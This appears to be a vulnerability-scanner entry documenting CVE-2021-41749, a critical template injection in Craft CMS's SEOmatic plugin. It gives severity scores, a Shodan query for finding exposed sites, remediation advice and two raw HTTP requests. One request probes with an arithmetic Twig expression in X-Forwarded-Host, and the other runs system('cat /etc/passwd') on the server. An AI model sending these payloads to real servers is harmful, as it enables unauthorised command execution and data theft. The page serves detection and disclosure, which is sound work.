| Title | CraftCMS SEOmatic - Server-Side Template Injection |
|---|---|
| Author | iamnoooob,ritikchaddha |
| Severity | Critical |
| Impact | Unauthenticated attackers can exploit SSTI via X-Forwarded-Host header to execute arbitrary Twig templates and system commands, achieving complete server compromise. |
| Remediation | Upgrade to CraftCMS SEOmatic version 3.4.12 or later. |
| CVSS Score | 9.8 |
| EPSS Score | 0.85815 |
| CVE ID | CVE-2021-41749 |
| CWE ID | CWE-94 |
| Shodan Query | X-Powered-By: Craft CMS html:"SEOmatic"x-powered-by: craft cmsx-powered-by: craft cms html:"seomatic" |
| Tags | cve2021 cve craftcms cms ssti nystudio107 craft_cms vuln |
In the SEOmatic plugin up to 3.4.11 for Craft CMS 3, it is possible for unauthenticated attackers to perform a Server-Side. Template Injection, allowing for remote code execution.
GET / HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.1.2 Safari/605.1.15
Connection: close
Cache-Control: max-age=0
X-Forwarded-Host: www.victim.com/malicious\{\{43229*40812}}
Accept-Encoding: gzip
GET / HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (ZZ; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36
Connection: close
Cache-Control: max-age=0
X-Forwarded-Host: xxx\{\{['cat /etc/passwd']|filter('system')}}bbb
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-41749.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-41749.pcap
N/AN/A